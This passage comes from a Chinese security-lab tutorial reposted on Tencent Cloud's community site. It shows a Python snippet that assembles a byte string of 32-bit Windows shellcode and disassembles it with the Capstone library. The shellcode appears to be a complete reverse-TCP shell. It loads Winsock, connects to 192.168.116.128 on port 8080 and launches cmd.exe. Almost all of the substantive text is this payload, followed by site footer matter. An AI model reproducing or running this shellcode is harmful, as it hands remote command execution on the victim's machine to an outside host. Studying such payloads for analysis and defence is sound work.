shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68"
shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68"
shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理和准备
  • 实际代码示例
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档